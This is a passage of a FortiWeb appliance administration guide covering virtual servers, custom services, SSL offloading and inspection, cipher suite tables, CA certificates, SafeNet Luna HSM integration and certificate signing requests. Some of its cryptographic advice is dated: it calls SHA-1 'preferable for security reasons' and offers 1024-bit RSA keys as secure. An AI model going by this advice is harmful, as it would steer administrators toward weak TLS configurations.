A virtual server on your FortiWeb is **not** the same as a virtual host on your web server. A virtual server is more similar to a virtual IP on a FortiGate. It is not an actual server, but simply defines the listening network interface. Unlike a FortiGate VIP, it includes a specialized proxy that only picks up HTTP and HTTPS.



By default, in Reverse Proxy mode, FortiWeb's virtual servers do **not forward non-HTTP/HTTPS** traffic from virtual servers to your protected web servers. (It only forwards traffic picked up and allowed by the HTTP Reverse Proxy.) You may be able to provide connectivity by either deploying in a one-arm topology where other protocols bypass FortiWeb, or by enabling FortiWeb to route other protocols. For details, see "[Topology for Reverse Proxy mode](#)" on page 104 and the `config router setting` command in the *FortiWeb CLI Reference*:

<http://docs.fortinet.com/fortiweb/reference>

The FortiWeb appliance identifies traffic as being destined for a specific virtual server if:

- the traffic arrives on the network interface or bridge associated with the virtual server
- for Reverse Proxy mode, the destination address is the IP address of a virtual server (the destination IP address is ignored in other operation modes, **except** that it must **not** be identical to the web server's IP address)

Virtual servers can be on the same subnet as real web servers. This configuration creates a one-arm HTTP proxy. For example, the virtual server 10.0.0.1/24 could forward to the web server 10.0.0.2.



However, this is not usually recommended. Unless your network's routing configuration prevents it, it would allow clients that are aware of the web server's IP address to bypass the FortiWeb appliance by accessing the back-end web server directly. The topology may be required in some cases, however, such as IP-based forwarding, mentioned above.

To configure a virtual server

1. Go to **Server Objects > Server > Virtual Server**.

Each server entry includes an **Enable** check box, marked by default. Clear this check box if you need to disable the server. For details, see "[Enabling or disabling traffic forwarding to your servers](#)" on page 429.

To access this part of the web UI, your administrator's account access profile must have **Read** and **Write** permission to items in the **Server Policy Configuration** category. For details, see "[Permissions](#)" on page 85.

2. Click **Create New**.

3. Configure these settings:

Name	Enter a unique name that can be referenced by other parts of the configuration. Do not use spaces or special characters. The maximum length is 63 characters.

Use Interface IP	Select to use the IP address of the specified network interface as the address of the virtual server. This is useful for Microsoft Azure and AWS deployments where FortiWeb communicates with the Internet using a cloud-based load balancer.
IPv4 Address	Enter the IP address and subnet of the virtual server.
IPv6 Address	If the FortiWeb appliance is operating in Offline Protection mode or either of the transparent modes, because FortiWeb ignores this IP address when it determines whether or not to apply a server policy to the connection, you can specify any IP address except the address of the web server. Note: If a policy uses any virtual servers with IPv6 addresses, FortiWeb does not apply features in the policy that do not yet support IPv6, even if you include them in the policy.
Interface	Select the network interface or bridge the virtual server is bound to and where traffic destined for the virtual server arrives. To configure an interface or bridge, see "To configure a network interface or bridge" on page 162.

4. Click **OK**.
5. To define the listening port of the virtual server, create a custom service. For details, see ["Defining your network services"](#) on page 427.
6. To use the virtual server, select both it and the custom service in a server policy. For details, see ["Configuring a server policy"](#) on page 277.

See also

- ["IPv6 support"](#) on page 60
- ["Configuring a bridge \(V-zone\)"](#) on page 171

Defining your network services

Network services define the application layer protocols and port number on which your FortiWeb will listen for web traffic.

Policies must specify either a predefined or custom network service to define which traffic the policy will match. Exceptions include server policies whose **Deployment Mode** (page 278) is **Offline Protection**.

See also

- ["Defining custom services"](#) on page 428
- ["Predefined services"](#) on page 428

Defining custom services

Server Objects > Service > Custom enables you to configure custom services.

Predefined services are available for standard IANA port numbers (<https://www.iana.org/assignments/service-names-port-numbers/service-names-port-numbers.xml>) for HTTP and HTTPS. For details, see "Predefined services" on page 428. If your virtual server will receive traffic on non-standard port numbers, however, you must define your custom service.

To configure a custom service

1. Go to **Server Objects > Service** and select the **Custom** tab.

To access this part of the web UI, your administrator's account access profile must have **Read** and **Write** permission to items in the **Server Policy Configuration** category. For details, see "Permissions" on page 85.

2. Click **Create New**.
3. In **Name**, type a name that can be referenced by other parts of the configuration. Do not use spaces or special characters. The maximum length is 63 characters.
4. In **Port**, type the port number of the service (by definition of HTTP and HTTPS, only **TCP** is available).
The port number must be unique among your custom and predefined services. The valid range is from 0 to 65,535.
5. Click **OK**.
6. To use the custom service definition to define the listening port of a virtual server on the FortiWeb, select it as the **HTTP Service** (page 282) or **HTTPS Service** (page 282) when configuring a policy. For details, see "Configuring a server policy" on page 277.

See also

- "Predefined services" on page 428
- "Configuring a server policy" on page 277

Predefined services

Go to **Server Objects > Service**. The **Predefined** tab displays the list of predefined services.

Predefined services are according to standard IANA port numbers (<https://www.iana.org/assignments/service-names-port-numbers/service-names-port-numbers.xml>): TCP port 80 for HTTP and TCP port 443 for HTTPS.

To use the predefined service definition to define the listening port of a virtual server on the FortiWeb, select it as the **HTTP Service** (page 282) or **HTTPS Service** (page 282) when configuring a policy. For details, see "Configuring a server policy" on page 277.

To access this part of the web UI, your administrator's account access profile must have **Read** permission to items in the **Server Policy Configuration** category. For details, see "Permissions" on page 85.

See also

- "Defining your network services" on page 427
- "Configuring a server policy" on page 277

Enabling or disabling traffic forwarding to your servers

The server pool configuration allows you to individually enable and disable FortiWeb's forwarding of HTTP/HTTPS traffic to your web servers, or place them in maintenance mode.



Disabling servers **only** affects HTTP/HTTPS traffic. To enable or disable forwarding of FTP, SSH, or other traffic, use the CLI command `config router setting`. For details, see the *FortiWeb CLI Reference*:

<http://docs.fortinet.com/fortiweb/reference>

You can select server pools with disabled virtual servers in a server policy even though the policy cannot forward traffic to the disabled servers.

Disabled physical and domain servers can belong to a server pool, but FortiWeb does not forward traffic to them. If a server in a pool is disabled, FortiWeb will transfer any remaining HTTP transactions in the TCP stream to an active physical server in the server pool according to the pool's load balancing algorithm. For details, see "[Load Balancing Algorithm](#)" on page 398.

By default, physical and domain servers that belong to a pool are enabled and the FortiWeb appliance can forward traffic to them. To prevent traffic from being forwarded to a physical server, such as when the server is unavailable for a long time due to repairs, you can disable it. If the disabled physical server is a member of a **Server Balance** server pool, the FortiWeb appliance automatically forwards connections to other enabled pool members.

Alternatively, if the physical or domain server is a member of a **Server Balance** server pool and will be unavailable only temporarily, you can configure a server health check to automatically prevent the FortiWeb appliance from forwarding traffic to that physical server when it is unresponsive. For details, see "[Configuring server up/down checks](#)" on page 390.



Disabling a physical or domain server could block traffic matching policies in which you have selected the server pool of which the physical server is a member.

See also

- "Configuring virtual servers on your FortiWeb" on page 425
- "Creating a server pool" on page 397
- "Enabling or disabling a policy" on page 291

Secure connections (SSL/TLS)

When a FortiWeb appliance initiates or receives an SSL or TLS connection, it will use certificates. Certificates can be used in HTTPS connections for:

- encryption
- decryption and inspection
- authentication of clients
- authentication of servers


FortiWeb may require you to provide certificates and CRLs even if your websites' clients do not use HTTPS to connect to the websites.

For example, when it sends alert email via SMTPS or querying an authentication server via LDAPS or STARTTLS, FortiWeb validates the server's certificate by comparing the server certificate's CA signature with the certificates of CAs that are known and trusted by the FortiWeb appliance. For details, see ["Uploading trusted CA certificates"](#) on page 437 and ["Revoking certificates"](#) on page 471.

Offloading vs. inspection

Depending on the FortiWeb appliance's operation mode, FortiWeb can act as the SSL/TLS terminator: instead of clients having an encrypted tunnel along the **entire** path to a back-end server, the client's HTTPS request is encrypted/decrypted **partway** along its path to the server, when it reaches the FortiWeb. FortiWeb then is typically configured to forward unencrypted HTTP traffic to your servers. When the server replies, the server connects to the FortiWeb via clear text HTTP. FortiWeb then encrypts the response and forwards it via HTTPS to the client.

In this way, FortiWeb bears the load for encryption processing instead of your back-end servers, allowing them to focus resources on the network application itself. This is called **SSL offloading**.





SSL offloading can be associated with improved SSL/TLS performance. In hardware models with specialized ASIC chip SSL accelerator(s), FortiWeb can encrypt and decrypt packets at better speeds than a back-end server with a general-purpose CPU.

When SSL offloading, the web server does not use its own server certificate. Instead, FortiWeb acts like an SSL proxy for the web server, possessing the web server's certificate and using it to:

- authenticate itself to clients
- decrypt requests
- encrypt responses

whenever a client requests an HTTPS connection to that web server.

As a side effect of being an SSL terminator, the FortiWeb is in possession of both the HTTP request and reply in their decrypted state. Because they are not encrypted at that point on the path, FortiWeb can rewrite content and/or route traffic based upon the contents of Layer 7 (the application layer). Otherwise Layer 7 content-based routing and rewriting would be impossible: that part of the packets would be encrypted and unreadable to FortiWeb.



Secure traffic between FortiWeb and back-end servers when using SSL offloading. Failure to do so will compromise the security of all offloaded sessions. No attack will be apparent to clients, as SSL offloading cannot be detected by them, and therefore they will not receive any alerts that their session has been compromised.


For example, you might pass decrypted traffic to back-end servers as directly as possible, through one switch that is physically located in the same locked rack, and that has no other connections to the overall network.

However, depending on the operation mode, FortiWeb is **not** always an SSL terminator.

By their asynchronous nature, SSL termination cannot be supported in Transparent Inspection and Offline Protection modes. To terminate, FortiWeb must process traffic synchronously with the connection state. In those modes, **the web server uses its own certificate, and acts as its own SSL terminator.** The web server bears the load for SSL processing. FortiWeb only "listens in" and can interrupt the connection, but otherwise cannot change or reroute packets.

In those modes, FortiWeb only uses the web server's certificate to decrypt traffic in order to scan it for policy violations. If there are no violations, it allows the existing encrypted traffic to continue without interruption. FortiWeb does not expend CPU and resources to re-encrypt, because it is not a terminator.

In other words, FortiWeb performs **SSL inspection**, not SSL offloading.



See also

- ["Supported cipher suites & protocol versions"](#) on page 432
- ["How to offload or inspect HTTPS"](#) on page 439

Supported cipher suites & protocol versions

How secure is an HTTPS connection?

There are physical considerations, such as restricting access to private keys and decrypted traffic. Another part is the encryption. For details, see ["Offloading vs. inspection"](#) on page 430.

A secure connection's protocol version and cipher suite, including encryption bit strength and encryption algorithms, is negotiated between the client and the SSL/TLS terminator during the handshake.

The FortiWeb operation mode determines which device is the SSL terminator. It is either:

- The FortiWeb (if doing SSL offloading)
- The web server (if FortiWeb is doing only SSL inspection)

When FortiWeb is the SSL terminator, FortiWeb controls which ciphers are allowed. For details, see ["SSL offloading cipher suites and protocols \(Reverse Proxy and True Transparent Proxy\)"](#) on page 432.

When the web server is the terminator, it controls which ciphers are allowed. If it selects a cipher that FortiWeb does not support, FortiWeb cannot perform the SSL inspection task. For details, see ["SSL inspection cipher suites and protocols \(offline and Transparent Inspection\)"](#) on page 436.

SSL offloading cipher suites and protocols (Reverse Proxy and True Transparent Proxy)

If you have configured SSL offloading for your FortiWeb operating in Reverse Proxy mode, you can specify which protocols a server policy allows and whether the set of cipher suites it supports is medium-level security, high-

level security or a customized set. For details, see ["Configuring a server policy"](#) on page 277.

In True Transparent Proxy mode, you can specify these same advanced SSL settings to configure offloading for a server pool member. For details, see ["Creating a server pool"](#) on page 397.

Selecting the supported cipher suites using the advanced SSL settings

The **SSL/TLS encryption level** in the advanced SSL settings provides the following options:

- **High**—Supports the ciphers listed in ["High/medium SSL/TLS encryption levels"](#) on page 433.
- **Medium**—Supports all ciphers supported by the high encryption level, plus the additional ciphers listed in the table ["Medium-only SSL/TLS encryption levels"](#) on page 435
- **Customized**—Allows you to select the ciphers that the policy supports.

High/medium SSL/TLS encryption levels

Cipher	TLS 1.2	TLS 1.0, 1.1
ECDHE-RSA-AES256-GCM-SHA384	Yes	
DHE-RSA-AES256-GCM-SHA384	Yes	
ECDHE-RSA-CHACHA20-POLY1305	Yes	
DHE-RSA-CHACHA20-POLY1305	Yes	
DHE-RSA-AES256-CCM8	Yes	
DHE-RSA-AES256-CCM	Yes	
ECDHE-RSA-AES128-GCM-SHA256	Yes	
DHE-RSA-AES128-GCM-SHA256	Yes	
DHE-RSA-AES128-CCM8	Yes	
DHE-RSA-AES128-CCM	Yes	
ECDHE-RSA-AES256-SHA384	Yes	
DHE-RSA-AES256-SHA256	Yes	
ECDHE-RSA-CAMELLIA256-SHA384	Yes	
DHE-RSA-CAMELLIA256-SHA256	Yes	
ECDHE-RSA-AES128-SHA256	Yes	
DHE-RSA-AES128-SHA256	Yes	

Cipher	TLS 1.2	TLS 1.0, 1.1
ECDHE-RSA-CAMELLIA128-SHA256	Yes	
DHE-RSA-CAMELLIA128-SHA256	Yes	
ECDHE-RSA-AES256-SHA	Yes	Yes
DHE-RSA-AES256-SHA	Yes	Yes
DHE-RSA-CAMELLIA256-SHA	Yes	Yes
ECDHE-RSA-AES128-SHA	Yes	Yes
DHE-RSA-AES128-SHA	Yes	Yes
DHE-RSA-CAMELLIA128-SHA	Yes	Yes
AES256-GCM-SHA384	Yes	
AES256-CCM8	Yes	
AES256-CCM	Yes	
AES128-GCM-SHA256	Yes	
AES128-CCM8	Yes	
AES128-CCM	Yes	
AES256-SHA256	Yes	
CAMELLIA256-SHA256	Yes	
AES128-SHA256	Yes	
CAMELLIA128-SHA256	Yes	
AES256-SHA	Yes	Yes
CAMELLIA256-SHA	Yes	Yes
AES128-SHA	Yes	Yes
CAMELLIA128-SHA	Yes	Yes
ECDHE-ECDSA-AES256-GCM-SHA384	Yes	
ECDHE-ECDSA-CHACHA20-POLY1305	Yes	

Cipher	TLS 1.2	TLS 1.0, 1.1
ECDHE-ECDSA-AES256-CCM8	Yes	
ECDHE-ECDSA-AES256-CCM	Yes	
ECDHE-ECDSA-AES128-GCM-SHA256	Yes	
ECDHE-ECDSA-AES128-CCM8	Yes	
ECDHE-ECDSA-AES128-CCM	Yes	
ECDHE-ECDSA-AES256-SHA384	Yes	
ECDHE-ECDSA-CAMELLIA256-SHA384	Yes	
ECDHE-ECDSA-AES128-SHA256	Yes	
ECDHE-ECDSA-CAMELLIA128-SHA256	Yes	
ECDHE-ECDSA-AES256-SHA	Yes	Yes
ECDHE-ECDSA-AES128-SHA	Yes	Yes
DHE-DSS-AES256-GCM-SHA384	Yes	
DHE-DSS-AES128-GCM-SHA256	Yes	
DHE-DSS-AES256-SHA256	Yes	
DHE-DSS-CAMELLIA256-SHA256	Yes	
DHE-DSS-AES128-SHA256	Yes	
DHE-DSS-CAMELLIA128-SHA256	Yes	
DHE-DSS-AES256-SHA	Yes	Yes
DHE-DSS-CAMELLIA256-SHA	Yes	Yes
DHE-DSS-AES128-SHA	Yes	Yes
DHE-DSS-CAMELLIA128-SHA	Yes	Yes

Medium-only SSL/TLS encryption levels

Cipher	TLS 1.2	TLS 1.0, 1.1
DHE-RSA-SEED-SHA	Yes	Yes

Generally speaking, for security reasons, SHA-1 is preferable, although you may not be able to use it for client compatibility reasons. Avoid using:

- Older hash algorithms, such as MD5. To disable MD5, for **SSL/TLS encryption level**, select **High**.
- Encryption bit strengths less than 128
- Older styles of renegotiation (These are vulnerable to Man-in-the-Middle (MITM) attacks.)
- Client-initiated renegotiation. Configure **Disable Client-Initiated SSL Renegotiation** (page 287).

Customized-only SSL/TLS encryption levels

Cipher	TLS 1.2	TLS 1.0, 1.1
ECDHE_RSA_DES_CBC3_SHA	Yes	Yes
DES_CBC3_SHA	Yes	Yes

SSL inspection cipher suites and protocols (offline and Transparent Inspection)

In Transparent Inspection and Offline Protection modes, if the client and server communicate using a cipher that FortiWeb does not support, FortiWeb cannot perform the SSL inspection task.

If you are not sure which cipher suites your web server supports, you can use a client-side tool to test. For details, see "[Checking the SSL/TLS handshake & encryption](#)" on page 800.

Supported ciphers for offline and Transparent Inspection

Cipher	TLS 1.2	TLS 1.0, 1.1
AES128-SHA	Yes	Yes
AES256-SHA	Yes	Yes
AES128-SHA256	Yes	
AES256-SHA256	Yes	
AES256-GCM-SHA384	Yes	
AES128-GCM-SHA256	Yes	
CAMELLIA256-SHA	Yes	Yes
SEED-SHA	Yes	Yes
CAMELLIA128-SHA	Yes	Yes



In offline and Transparent Inspection mode, FortiWeb does not support Ephemeral Diffie-Hellman key exchanges, which may be accepted by clients such as Google Chrome.

See also

- ["Offloading vs. inspection" on page 430](#)
- ["How to offload or inspect HTTPS" on page 439](#)
- ["Defeating cipher padding attacks on individually encrypted inputs" on page 534](#)

Uploading trusted CA certificates

In order to authenticate other devices' certificates, FortiWeb has a store of trusted CA certificates. **Until you upload at least one CA certificate, FortiWeb does not know and trust any CAs, it cannot validate any other client or device's certificate, and all of those secure connections will fail.**



FortiWeb may require you to provide certificates and CRLs even if your websites' clients do not use HTTPS to connect to the websites.

For example, when sending alert email via SMTP or querying an authentication server via LDAP, FortiWeb will validate the server's certificate by comparing the server certificate's CA signature with the certificates of CAs that are known and trusted by the FortiWeb appliance.

Certificate authorities (CAs) validate and sign others' certificates. When FortiWeb needs to know whether a client or device's certificate is genuine, it will examine the CA's signature, comparing it with the copy of the CA's certificate that you uploaded to determine if they were both made using the same private key. If they were, the CA's signature is genuine, and therefore the client or device's certificate is legitimate.

If the signing CA is not known, that CA's own certificate must likewise be signed by one or more other intermediary CAs, until both the FortiWeb appliance and the client or device can demonstrate a signing chain that ultimately leads to a mutually trusted (shared "root") CA that they have in common. Like a direct signature by a known CA, this proves that the certificate can be trusted. For information on how to include a signing chain, see ["Uploading a server certificate" on page 446](#).

To upload a CA's certificate

1. Obtain a copy of your CA's certificate file.

If you are using a commercial CA, your web browser should already contain a copy in its CA trust store. Export a copy of the file to your desktop or other folder.

If you are using your own private CA, download a copy from your CA's server. For example, on Windows Server 2003, you would go to:

```
https://<ca-server_ipv4>/certsrv/
```

where `<ca-server_ipv4>` is the IP address of your CA server. Log in as **Administrator**. (Other accounts may not have sufficient privileges.) The **Microsoft Certificate Services** home page for your server's CA should appear, and you can download a CA certificate, certificate chain, or CRL from there.



Verify that your private CA's certificate does not contain its private keys. Disclosure of private keys compromises the security of your network, and will require you to revoke and regenerate all certificates signed by that CA.

2. Go to **System > Certificates > CA** and select the **CA** tab.

You can click **View Certificate Detail** to view the selected certificate's subject, range of dates within which the certificate is valid, version number, serial number, and extensions.

To access this part of the web UI, your administrator's account access profile must have **Read** and **Write** permission to items in the **Admin Users** category. For details, see ["Permissions"](#) on page 85.

3. To upload a certificate, click **Import**.

4. To select a certificate, do one of the following:

- Enable **SCEP** and in the field to the right of it, type the URL of the applicable Simple Certificate Enrollment Protocol server. (SCEP allows routers and other intermediary network devices to obtain certificates.)

To specify a specific CA, type an identifier in the field below the URL.

- Enable **Local PC** and browse to find a certificate file.

5. Click **OK**.

6. To use the CA certificate when validating clients' personal certificates, select it in a CA certificate group, which is then selected in a certificate verification rule. For details, see ["Grouping trusted CA certificates"](#) on page 438.

7. To test your configuration, cause your appliance to initiate a secure connection to an LDAPS server. For details, see ["Grouping remote authentication queries and certificates for administrators"](#) on page 335.

If the query fails, verify that your CA is the same one that signed the LDAP server's certificate, and that its certificate's extensions indicate that the certificate can be used to sign other certificates. Verify that both the appliance and LDAP server support the same cipher suites and SSL/TLS protocols. Also verify that your routers and firewalls are configured to allow the connection.

See also

- ["Configuring FortiWeb to validate client certificates"](#) on page 464

Grouping trusted CA certificates

CAs must belong to a group in order to be selected either in a certificate verification rule for PKI authentication or a Server Name Indication (SNI) configuration. For details, see ["Configuring FortiWeb to validate client certificates"](#) on page 464 and ["Allowing FortiWeb to support multiple server certificates"](#) on page 450.

To configure a CA certificate group

1. Before you can create a CA group, you must upload at least one of the certificate authority (CA) certificates that you want to add to the group. For details, see ["Uploading trusted CA certificates"](#) on page 437.
2. Go to **System > Certificates > CA** and select the **CA Group** tab.

To access this part of the web UI, your administrator's account access profile must have **Read** and **Write** permission to items in the **Admin Users** category. For details, see ["Permissions"](#) on page 85.

3. Click **Create New**.

4. For **Name**, enter a name that can be referenced by other parts of the configuration. The maximum length is 63 characters.
5. Click **OK**.
6. Click **Create New**.
7. For **ID**, FortiWeb automatically assigns the next available index number.
8. For **CA**, select the name of a certificate authority's certificate that you previously uploaded and want to add to the group.
9. Enable **Publish CA Distinguished Name** to list only certificates related to the specified CA. This is beneficial when a client installs many certificates in its browser or when apps don't list client certificates. If you enable this option, also enable the option in a certificate validation rule. For details, see ["To configure a certificate validation rule"](#) on page 464.
10. Click **OK**.
11. Repeat the previous steps for each CA that you want to add to the group.
12. To apply a CA group, select it in a certificate verification rule. For details, see ["Configuring FortiWeb to validate client certificates"](#) on page 464.

See also

- ["Configuring FortiWeb to validate client certificates"](#) on page 464

How to offload or inspect HTTPS

Whether offloading or merely inspecting for HTTPS, FortiWeb **must** have a copy of your protected web servers' X.509 server certificates. FortiWeb also has its own server certificate, which it uses to prove its own identity.

Which certificate will be used, and how, depends on the purpose.

- **For connections to the web UI**—The FortiWeb appliance presents its own **HTTPS Server Certificate** (page 89) which is used only for connections to the web UI.



A Fortinet factory default certificate is used as the FortiWeb appliance's HTTPS server certificate. It can be replaced with other certificates. For details, see ["How to change FortiWeb's default certificate"](#) on page 472.

- **For SSL offloading or SSL inspection**—Server certificates do **not** belong to the FortiWeb appliance itself, but instead belong to the protected web servers. FortiWeb uses the web server's certificate because it either acts as an SSL agent for the web server, or is privy to its secure connections for the purpose of scanning. You select which one the FortiWeb appliance uses when you configure **Enable Server Name Indication (SNI)** (page 286) or **Certificate** (page 282) in a policy (see ["Configuring a server policy"](#) on page 277) or **Certificate File** (page 403) in a server pool (see ["Uploading a server certificate"](#) on page 446).
- **For connections to back-end servers**—A certificate you specify in a server pool configuration if connections to a pool member require a valid client certificate. For details, see ["Creating a server pool"](#) on page 397.

System > Certificates > Local displays all X.509 server certificates that are stored locally, on the FortiWeb appliance, for the purpose of offloading or scanning HTTPS.

Generate	Click to generate a certificate signing request. For details, see "Generating a certificate signing request" on page 443.
Import	Click to upload a certificate. For details, see "Uploading a server certificate" on page 446.
View Certificate Detail	Click to view the selected certificate's subject, range of dates within which the certificate is valid, version number, serial number, and extensions.
Download	Click to download the selected CSR's entry in certificate signing request (.csr) file format. This button is disabled unless the currently selected file is a CSR.
Edit Comments	Click to add or modify the comment associated with the selected certificate.
(No label. Check box in column heading.)	Click to mark all check boxes in the column, selecting all entries. To select an individual entry, instead, mark the check box in the entry's row.
Name	Displays the name of the certificate.
Subject	Displays the distinguished name (DN) located in the <code>Subject :</code> field of the certificate. If the row contains a certificate request which has not yet been signed, this field is empty.
Comments	Displays the description of the certificate, if any. Click the Edit Comments icon to add or modify the comment associated with the certificate or certificate signing request.
Status	Displays the status of the certificate. • OK—Indicates that the certificate was successfully imported. To use the certificate, select it in a server policy or server pool configuration. • PENDING—Indicates that the certificate request has been generated, but must be downloaded, signed, and imported before it can be used as a server certificate.

FortiWeb presents a server certificate when any client requests a secure connection, including when:

- Administrators connect to the web UI (HTTPS connections only)
- Clients use SSL or TLS to connect to a virtual server, if you enabled SSL offloading in the policy (HTTPS connections and Reverse Proxy mode only)

Although it does not **present** a certificate during SSL/TLS inspection, FortiWeb still requires server certificates in order to **decrypt** and scan HTTPS connections traveling through it (SSL inspection) if operating in any mode except Reverse Proxy. Otherwise, FortiWeb will not be able to scan the traffic, and will not be able to protect that web server.

If you want clients to be able to use HTTPS with your website, but your website does **not** already have a server certificate to represent its authenticity, you must first generate a certificate signing request. For details, see ["Generating a certificate signing request"](#) on page 443. Otherwise, start with ["Uploading a server certificate"](#) on page 446.

See also

- ["Global web UI & CLI settings"](#) on page 89
- ["How operation mode affects server policy behavior"](#) on page 257
- ["Creating a server pool"](#) on page 397
- ["Generating a certificate signing request"](#) on page 443
- ["Uploading a server certificate"](#) on page 446
- ["Offloading vs. inspection"](#) on page 430
- ["Supported cipher suites & protocol versions"](#) on page 432
- ["Uploading trusted CA certificates"](#) on page 437

Using session keys provided by an HSM

You can integrate FortiWeb with SafeNet Luna SA HSM (hardware security module) to retrieve a per-connection, SSL session key instead of loading the private key and certificate stored on FortiWeb.

By default, the HSM settings are not displayed in the web UI. Use the following command to display them:

```
config system global
    set hsm enable
```

Integration of SafeNet Luna HSM with FortiWeb requires specific configuration steps for both appliances, including the following tasks:

- On the HSM:
 - Create one or more HSM partitions for FortiWeb
 - Send the FortiWeb client certificate to the HSM
 - Register the FortiWeb HSM client to the partition
 - Retrieve the HSM server certificate
- On FortiWeb:
 - Configure communication with the HSM, including using the server and client certificates to register FortiWeb as a client of the HSM
 - Generate a certificate signing request (CSR) that includes the HSM configuration information
 - Upload the signed certificate to FortiWeb



When configure your CSR to work with an HSM, the CSR generation process creates a private key on both the HSM and FortiWeb. The private key on the HSM is the "real" key that secures communication when FortiWeb uses the signed certificate. The key found on the FortiWeb is used when you upload the certificate to FortiWeb.

To integrate FortiWeb with SafeNet Luna SA HSM

1. Use the `partition create` command to create and initialize a new HSM partition that uses password authentication. This is the partition FortiWeb uses on the HSM.

You can create more than one partition for FortiWeb to use, but all the partitions are assigned the same client.

For details, see the HSM documentation.

2. Use the SCP utility and the following command to send the FortiWeb client certificate to the HSM.

```
scp <fortiweb_ip>.pem admin@<hsm_ip>:
```

3. Using SSH, connect to the HSM using the admin account, and then use the following command to register a client for FortiWeb on the HSM.

```
lunash:> client register -c <client_name> -ip <fortiweb_ip>
```

where `<client_name>` is a name you choose that identifies the client.

4. Use the following command to assign the client you registered to the partition you created earlier:

```
lunash:> client assignPartition -client <client_name> -partition <partition_name>
```

You can verify the assignment using the following command:

```
lunash:> client show -client <client_name>
```

5. Repeat the client assignment process for any additional partitions you created for FortiWeb.
6. Use the SCP utility and the following command to retrieve the server certificate file from the HSM:

```
scp <hsm_username>@<hsm_ip>:server.pem /usr/lunasa/bin/server_<hsm_ip>.pem
```

7. Go to **System > Config > HSM** and complete the following settings:

Server IP	Enter the IP address of the HSM.
Port	Enter the port where FortiWeb establishes an NTLS connection with the HSM. The default is 1792.
Timeout	Enter a timeout value for the connection between HSM and FortiWeb.
Upload Server Certificate File	Click Choose File and navigate to the server certificate file you retrieved earlier.
Download Client Certificate File	Click Download to retrieve the client certificate file you sent to HSM earlier to make it available for the registration process.
Register/Unregister	Click Register to register FortiWeb as a client of the HSM using the specified server and client certificates.

8. Click **Create New** and complete the following settings:

Partition Name	Enter the name of a partition that the FortiWeb HSM client is assigned to.
Password	Enter the partition password.

9. Repeat the partition configuration step for any additional partitions that FortiWeb uses.

10. Go to **Certificate > Local** and click **Generate** to generate a certificate signing request that references the HSM connection and partition.

For details, see ["Generating a certificate signing request"](#) on page 443.

11. After the HSM-based certificate is signed, go to **Certificate > Local** and click **Import** to import it.

For details, see ["Uploading a server certificate"](#) on page 446.

12. To use a certificate, you select it in a policy or server pool configuration. For details, see ["Configuring a server policy"](#) on page 277 or ["Creating a server pool"](#) on page 397.

Generating a certificate signing request

Many commercial certificate authorities (CAs) provide a website where you can generate your own certificate signing request (CSR). A CSR is an unsigned certificate file that the CA signs. When you generate a CSR, the associated private key that the appliance uses to sign and/or encrypt connections with clients is also generated.

If your CA does **not** provide this, or if you have your own private CA such as a Linux server with OpenSSL, you can use the appliance to generate a CSR and private key. Then, you can submit this CSR for verification and signing by the CA.

To generate a certificate request

1. Go to **System > Certificates > Local**.

To access this part of the web UI, your administrator's account access profile must have **Read** and **Write** permission to items in the **Admin Users** category. For details, see ["Permissions"](#) on page 85.

2. Click **Generate**.

3. Configure these settings to complete the certificate signing request:

Certification Name	Enter a unique name for the certificate request, such as <code>www.example.com</code> . This can be the name of your website.
Subject Information	Includes information that the certificate is required to contain in order to uniquely identify the FortiWeb appliance. This area varies depending on the ID Type (page 443) selection.
ID Type	Select the type of identifier to use in the certificate to identify the FortiWeb appliance: • Host IP—Select if the FortiWeb appliance has a static IP address and enter the public IP address of the FortiWeb appliance in the IP field. If the FortiWeb appliance does not have a public IP address, use E-mail (page 444) or Domain Name (page 444) instead. • Domain Name—Select if the FortiWeb appliance has a static IP address and subscribes to a dynamic DNS service. Enter the FQDN of the FortiWeb appliance, such as <code>www.example.com</code>, in the Domain Name field. Do not include the protocol specification (<code>http://</code>) or any port number or path names. • E-Mail—Select and enter the email address of the owner of the FortiWeb appliance in the e-mail field. Use this if the appliance does not require

	either a static IP address or a domain name. The type you should select varies by whether or not your FortiWeb appliance has a static IP address, a fully-qualified domain name (FQDN), and by the primary intended use of the certificate. For example, if your FortiWeb appliance has both a static IP address and a domain name, but you will primarily use the local certificate for HTTPS connections to the web UI by the domain name of the FortiWeb appliance, you might prefer to generate a certificate based upon the domain name of the FortiWeb appliance, rather than its IP address. Depending on your choice for ID Type, related options appear.
IP	Type the static IP address of the FortiWeb appliance, such as 192.0.2.123. The IP address should be the one that is visible to clients. Usually, this should be its public IP address on the Internet, or a virtual IP that you use NAT to map to the appliance's IP address on your private network. This option appears only if ID Type (page 443) is Host IP.
Domain Name	Type the fully qualified domain name (FQDN) of the FortiWeb appliance, such as <code>www.example.com</code>. The domain name must resolve to the static IP address of the FortiWeb appliance or protected server. For details, see "Configuring the network interfaces" on page 164. This option appears only if ID Type (page 443) is Domain Name.
E-mail	Type the email address of the owner of the FortiWeb appliance, such as <code>admin@example.com</code>. This option appears only if ID Type (page 443) is E-Mail.
Optional Information	Includes information that you may include in the certificate, but which is not required.
Organization unit	Type the name of your organizational unit (OU), such as the name of your department. This is optional. To enter more than one OU name, click the + icon, and enter each OU separately in each field.
Organization	Type the legal name of your organization. This is optional.
Locality(City)	Type the name of the city or town where the FortiWeb appliance is located. This is optional.
State/Province	Type the name of the state or province where the FortiWeb appliance is located. This is optional.

Country/Region	Select the name of the country where the FortiWeb appliance is located. This is optional.
e-mail	Type an email address that may be used for contact purposes, such as <code>admin@example.com</code> . This is optional.
Key Type	Displays the type of algorithm used to generate the key. This option cannot be changed, but appears in order to indicate that only RSA is currently supported.
Key Size	Select a secure key size of 1024 Bit , 1536 Bit or 2048 Bit . Larger keys are slower to generate, but provide better security.
HSM	Select if the private key for the connections is provided by an HSM instead of FortiWeb. Available only if you have enabled HSM settings using the <code>config system global</code> command. For details, see "Using session keys provided by an HSM" on page 441.
Partition Name	Enter the name of a partition where the private key for this certificate is located on the HSM. Available only if Using session keys provided by an HSM (page 441) is selected.
Enrollment Method	Select either: • File Based—You must manually download and submit the resulting certificate request file to a certificate authority (CA) for signing. Once signed, upload the local certificate. • Online SCEP—The FortiWeb appliance will automatically use HTTP to submit the request to the simple certificate enrollment protocol (SCEP) server of a CA, which will validate and sign the certificate. For this selection, two options appear. Enter the CA Server URL and the Challenge Password. Not available if Using session keys provided by an HSM (page 441) is selected.

4. Click **OK**.

The FortiWeb appliance creates a private and public key pair. The generated request includes the public key of the FortiWeb appliance and information such as the FortiWeb appliance's IP address, domain name, or email address. The FortiWeb appliance's private key remains confidential on the FortiWeb appliance. The **Status** column of the entry is **PENDING**.

